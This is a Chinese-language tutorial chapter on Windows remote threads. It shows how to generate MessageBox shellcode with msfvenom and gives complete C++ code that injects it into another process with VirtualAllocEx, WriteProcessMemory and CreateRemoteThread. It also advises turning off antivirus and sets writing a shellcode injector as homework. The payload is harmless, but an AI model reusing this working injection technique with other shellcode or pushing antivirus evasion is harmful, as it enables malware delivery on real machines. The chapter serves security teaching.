本章内容讲解远程线程
远程线程
我们之前所学过的CreateThread()是创建一个本地线程,其本质是启动一个进程然后执行一个函数。而我们学习网络安全经常会与shellcode打交道,其本质上是以特殊的编程手法所编写的一段普通的代码。这段代码可以在任意环境下,不依赖于原有的依赖库执行。这是因为其寻址方式是不由其存在的程序的依赖库所加载,而是自己去寻找依赖库。
远程线程通常是利用shellcode的线程,其和本地线程实际没有什么区别,现在我们创建一个远程线程去进行观察
创建流程
shellcode编写
首先,我们要获取shellcode以完成远程线程的编写。由于我们并没有学习过shellcode的编写,因此此处我们借助kali生成shellcode:
桌面打开终端:
1.输入msfconsole,进入控制台
2.搜索payload(载荷):
search MessageBox
3.选择2
use 2
4.获取参数
show options
5.另外打开一个终端,设置MessageBox参数,文本TEXT为WdIg,格式化方式-f c:
msfvenom -p windows/messagebox TEXT = dsada -f c
6.此时便获取到了MessageBox的shellcode了,复制粘贴到实际代码即可
代码编写
#include <iostream>
#include <windows.h>
unsigned char shellcode[258] = "\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52\xe8\x5f\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a\x89\xe3\x68\x58\x20\x20\x20\x68\x57\x64\x49\x67\x31\xc9\x88\x4c\x24\x04\x89\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08";
int main()
{//获取一个外部的进程的句柄HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 29020);//远程线程需要在指定进程的虚拟地址空间中开辟一片内存区域//VirtualAlloc一般用于修改本地进程内存,VirtualAllocEx一般用于修改外部进程内存LPVOID lpBuffer = VirtualAllocEx(hProcess, NULL, 258, MEM_COMMIT, PAGE_EXECUTE_READWRITE);//在目标进程中获取258字节大小内存用于写入shellcodeSIZE_T dwWrittensize = 0;// SIZE_T是可自适应不同程序下的一个可子的变化大小的数据类型//在目标进程写入shellcodeWriteProcessMemory(hProcess,lpBuffer,shellcode,258,&dwWrittensize);DWORD ID;//创建远程线程,当目标进程启动时会执行shellcodeCreateRemoteThread(hProcess, //指定进程句柄NULL, //安全属性NULL, //堆栈初始化大小(LPTHREAD_START_ROUTINE)lpBuffer, //函数指针。在本程序中,指向我们生成的shellcode,实际上就是MessageBox函数NULL, //传递给线程函数的变量指针NULL, //创建标志,这里是立刻执行&ID //接收线程ID的指针);system("pause");return 0;
}
注意:执行程序时,杀毒软件可能会报毒。为保证正常运行,我们通常需要将杀毒软件关闭。
作业
写一个shellcode注入器,现我们给出一个基础版的注入器